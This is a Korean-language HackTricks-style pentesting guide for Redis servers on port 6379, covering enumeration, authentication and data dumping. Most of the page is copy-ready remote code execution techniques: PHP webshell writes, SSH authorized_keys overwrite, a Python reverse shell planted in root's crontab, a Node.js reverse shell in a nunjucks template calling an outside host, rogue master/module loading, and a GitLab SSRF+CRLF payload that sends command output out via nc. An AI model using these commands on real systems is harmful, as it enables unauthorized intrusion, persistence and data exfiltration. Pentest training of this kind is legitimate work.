6379 - Pentesting Redis

htARTE (HackTricks AWS Red Team 전문가)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!

HackTricks를 지원하는 다른 방법:

경험 많은 해커 및 버그 바운티 헌터와 소통하려면 HackenProof Discord 서버에 가입하세요!

해킹 통찰 해킹의 스릴과 도전에 대해 탐구하는 콘텐츠와 상호 작용

실시간 해킹 뉴스 빠르게 변화하는 해킹 세계의 최신 뉴스와 통찰력을 유지하세요

최신 공지 출시되는 최신 버그 바운티 및 중요한 플랫폼 업데이트에 대해 정보를 유지하세요

디스코드에 참여하여 오늘 최고의 해커들과 협업을 시작하세요!

기본 정보

문서에 따르면 Redis는 오픈 소스 (BSD 라이선스), 데이터 구조 저장소로 사용되는 인메모리 데이터베이스, 캐시 및 메시지 브로커입니다.

기본적으로 Redis는 평문 기반 프로토콜을 사용하지만 ssl/tls도 구현할 수 있음을 염두에 두어야 합니다. 여기에서 ssl/tls를 사용하여 Redis를 실행하는 방법을 배우세요.

기본 포트: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

자동 열거

일부 자동화된 도구는 Redis 인스턴스에서 정보를 얻는 데 도움이 될 수 있습니다:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

수동 열거

배너

Redis는 텍스트 기반 프로토콜입니다. 소켓에 명령을 보내면 반환된 값이 읽기 쉽습니다. 또한 Redis가 ssl/tls를 사용하여 실행될 수 있다는 것을 기억하세요 (하지만 이는 매우 이상합니다).

일반적인 Redis 인스턴스에서는 nc를 사용하여 연결하거나 redis-cli를 사용할 수 있습니다:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

첫 번째 명령어는 **info**를 시도해 볼 수 있습니다. 이는 Redis 인스턴스의 정보를 반환할 수 있거나 다음과 같은 내용이 반환될 수 있습니다:

-NOAUTH Authentication required.

이 마지막 경우에는 유효한 자격 증명이 필요합니다.

Redis 인증

기본적으로 Redis는 자격 증명 없이 액세스할 수 있습니다. 그러나 비밀번호만 또는 사용자 이름 + 비밀번호를 지원하도록 구성할 수 있습니다. requirepass 매개변수를 사용하여 redis.conf 파일에 비밀번호를 설정하거나 서비스가 다시 시작될 때까지 일시적으로 연결하여 실행할 수 있습니다: config set requirepass p@ss$12E45. 또한 사용자 이름redis.conf 파일 내의 masteruser 매개변수로 구성할 수 있습니다.

비밀번호만 구성된 경우 사용되는 사용자 이름은 "default"입니다. 또한, Redis가 비밀번호만 또는 사용자 이름+비밀번호로 구성되었는지 외부에서 확인할 수 있는 방법이 없다는 점을 유의하십시오.

이와 같은 경우에는 Redis와 상호 작용하기 위해 유효한 자격 증명을 찾아야 하므로 무차별 대입 공격을 시도할 수 있습니다. 유효한 자격 증명을 찾은 경우 연결을 설정한 후 세션을 인증해야 합니다.

AUTH <username> <password>

유효한 자격 증명은 다음과 같이 응답됩니다: +OK

인증된 열거

만약 Redis 서버가 익명 연결을 허용하거나 유효한 자격 증명을 획득했다면, 다음 명령어를 사용하여 서비스에 대한 열거 프로세스를 시작할 수 있습니다:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

기타 Redis 명령어여기여기에서 찾을 수 있습니다.**

참고로 인스턴스의 Redis 명령어는 redis.conf 파일에서 이름을 바꿀 수 있거나 제거할 수 있습니다. 예를 들어, 다음 줄은 FLUSHDB 명령어를 제거할 것입니다:

rename-command FLUSHDB ""

더 많은 정보를 얻으려면 여기에서 Redis 서비스를 안전하게 구성하는 방법을 확인하세요.

실시간으로 Redis 명령어를 모니터링하려면 monitor 명령어를 사용하거나 **slowlog get 25**로 가장 느린 쿼리 25개를 확인할 수 있습니다.

더 많은 Redis 명령어에 대한 흥미로운 정보는 여기에서 찾을 수 있습니다.

데이터베이스 덤프

Redis 내에서 데이터베이스는 0부터 시작하는 숫자로 구성됩니다. "Keyspace" 섹션 내의 info 명령어 출력에서 사용 중인 데이터베이스를 확인할 수 있습니다:

또는 모든 키스페이스(데이터베이스)를 가져오려면:

INFO keyspace

그 예제에서는 데이터베이스 0과 1이 사용됩니다. 데이터베이스 0에는 4개의 키가 포함되어 있고 데이터베이스 1에는 1개가 포함되어 있습니다. 기본적으로 Redis는 데이터베이스 0을 사용합니다. 예를 들어 데이터베이스 1을 덤프하려면 다음을 수행해야 합니다:

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

만약 GET <KEY>를 실행하는 동안 -WRONGTYPE Operation against a key holding the wrong kind of value 오류가 발생하면, 키가 문자열이나 정수가 아닌 다른 형식일 수 있으며 이를 표시하기 위해 특별한 연산자가 필요합니다.

키의 유형을 알아보려면 TYPE 명령어를 사용하십시오. 아래는 리스트 및 해시 키에 대한 예시입니다.

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

npm을 사용하여 데이터베이스 덤프 redis-dump 또는 파이썬 redis-utils

HackenProof Discord 서버에 가입하여 경험丰富한 해커들과 버그 바운티 헌터들과 소통하세요!

해킹 통찰 해킹의 즐거움과 도전에 대해 탐구하는 콘텐츠와 상호 작용하세요

실시간 해킹 뉴스 실시간 뉴스와 통찰을 통해 빠르게 변화하는 해킹 세계를 따라가세요

최신 공지 최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 알아보세요

Discord에서 함께하여 최고의 해커들과 협업을 시작하세요!

Redis RCE

대화형 셸

redis-rogue-server은 Redis(<=5.0.5)에서 대화형 셸 또는 역순 셸을 자동으로 획득할 수 있습니다.

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP 웹쉘

여기에서 정보를 확인하세요. 웹 사이트 폴더의 경로를 알아야 합니다.

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

만약 웹쉘 접근이 예외를 일으킨다면, 백업 후 데이터베이스를 비우고 다시 시도할 수 있습니다. 데이터베이스를 복원하는 것을 잊지 마세요.

템플릿 웹쉘

이전 섹션에서와 마찬가지로 템플릿 엔진에 의해 해석될 HTML 템플릿 파일을 덮어쓸 수도 있어 쉘을 획들할 수 있습니다.

예를 들어, 다음 이 설명을 따라하면 공격자가 nunjucks 템플릿 엔진에 의해 해석된 html에 rev 쉘을 삽입한 것을 볼 수 있습니다:

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

여러 템플릿 엔진이 템플릿을 메모리에 캐시하므로 덮어쓰더라도 새로운 것이 실행되지 않을 수 있습니다. 이 경우 개발자가 자동 다시로드를 남겨 두었거나 서비스에 DoS를 수행해야 할 수도 있습니다 (그리고 자동으로 다시 시작될 것으로 예상).

SSH

예시 여기에서

config get dir 결과가 다른 수동 exploit 명령 후에 변경될 수 있음을 주의하십시오. Redis에 로그인한 후에 바로 실행하는 것을 제안합니다. **config get dir**의 출력에서 redis 사용자의 홈(_보통 /var/lib/redis 또는 /home/redis/.ssh)을 찾을 수 있으며, 이를 알면 authenticated_users 파일을 작성하여 redis 사용자로 ssh로 액세스할 수 있습니다. 쓰기 권한이 있는 다른 유효한 사용자의 홈을 알고 있다면 그것도 악용할 수 있습니다:

  1. 개인 pc에서 ssh 공개-개인 키 쌍 생성: ssh-keygen -t rsa

  2. 공개 키를 파일에 작성 : (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt

  3. 파일을 redis에 가져오기 : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key

  4. 공개 키를 redis 서버의 authorized_keys 파일에 저장:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. 마지막으로, 개인 키로 redis 서버ssh로 접속할 수 있습니다 : ssh -i id_rsa redis@10.85.0.52

이 기술은 여기에서 자동화되어 있습니다: https://github.com/Avinash-acid/Redis-Server-Exploit

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

마지막 예제는 Ubuntu용이며, Centos의 경우 위 명령은 다음과 같아야 합니다: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

이 방법은 비트코인을 벌 수도 있습니다 :yam

Redis 모듈 로드

  1. https://github.com/n0b0dyCN/RedisModules-ExecuteCommand의 지침을 따라 임의 명령을 실행하는 redis 모듈을 컴파일할 수 있습니다.

  2. 그런 다음 컴파일된 모듈을 업로드하는 방법이 필요합니다.

  3. 런타임에서 MODULE LOAD /path/to/mymodule.so를 사용하여 업로드된 모듈을 로드합니다.

  4. 올바르게 로드되었는지 확인하기 위해 로드된 모듈을 나열합니다: MODULE LIST

  5. 명령어 실행:

127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. 원하는 시점에 모듈을 언로드합니다: MODULE UNLOAD mymodule

LUA 샌드박스 우회

여기에서 Redis가 Lua 코드 샌드박스를 실행하기 위해 EVAL 명령을 사용한다는 것을 볼 수 있습니다. 링크된 게시물에서 dofile 함수를 사용하여 이를 남용하는 방법을 볼 수 있지만, 아마도 더 이상 불가능합니다. 그래도 Lua 샌드박스를 우회할 수 있다면 시스템에서 임의의 명령을 실행할 수 있습니다. 또한 동일한 게시물에서 DoS를 유발하는 옵션도 확인할 수 있습니다.

Lua를 탈출하는 몇 가지 CVE:

마스터-슬레이브 모듈

마스터 redis의 모든 작업은 자동으로 슬레이브 redis로 동기화되므로 취약한 redis를 슬레이브 redis로 간주할 수 있으며, 마스터 redis에 연결된 자체 제어된 슬레이브 redis로 명령을 입력할 수 있습니다.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF Redis와 대화하기

만약 Redis로 명확한 텍스트 요청을 보낼 수 있다면, Redis는 요청을 한 줄씩 읽고 이해하지 못하는 줄에 대해서만 오류로 응답하기 때문에 Redis와 통신할 수 있습니다:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

따라서, 웹사이트에서 SSRF 취약점을 발견하고 일부 헤더(아마도 CRLF 취약점을 통해) 또는 POST 매개변수제어할 수 있다면 Redis로 임의의 명령을 보낼 수 있습니다.

예: Gitlab SSRF + CRLF를 이용한 쉘

Gitlab11.4.7에서 SSRF 취약점과 CRLF가 발견되었습니다. SSRF 취약점은 새 프로젝트를 만들 때 URL에서 프로젝트 가져오기 기능에 있었으며, [0:0:0:0:0:ffff:127.0.0.1] 형식으로 임의의 IP에 액세스할 수 있게 했습니다(이는 127.0.0.1에 액세스합니다). CRLF 취약점은 URL%0D%0A 문자를 추가하여 악용되었습니다.

따라서, 이러한 취약점을 악용하여 gitlab큐를 관리하는 Redis 인스턴스와 통신하고 해당 큐를 악용하여 코드 실행을 얻을 수 있었습니다. Redis 큐 악용 payload는:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

그리고 SSRF를 남용하고 CRLF를 악용하여 whoami를 실행하고 출력을 nc를 통해 다시 보내는 URL 인코딩 요청은:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

어떤 이유로 (이 정보가 가져온 곳인 https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/의 저자에 따르면) 이 취약점은 git scheme으로는 작동하지만 http scheme으로는 작동하지 않았습니다.

HackenProof Discord 서버에 가입하여 경험丰富한 해커들과 버그 바운티 헌터들과 소통하세요!

해킹 통찰력 해킹의 즐거움과 도전에 대해 탐구하는 콘텐츠와 상호 작용하세요

실시간 해킹 뉴스 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 파악하세요

최신 공지 최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 알아보세요

**Discord에서 우리와 함께하고 최고의 해커들과 협업을 시작하세요!

제로부터 영웅이 될 때까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

Last updated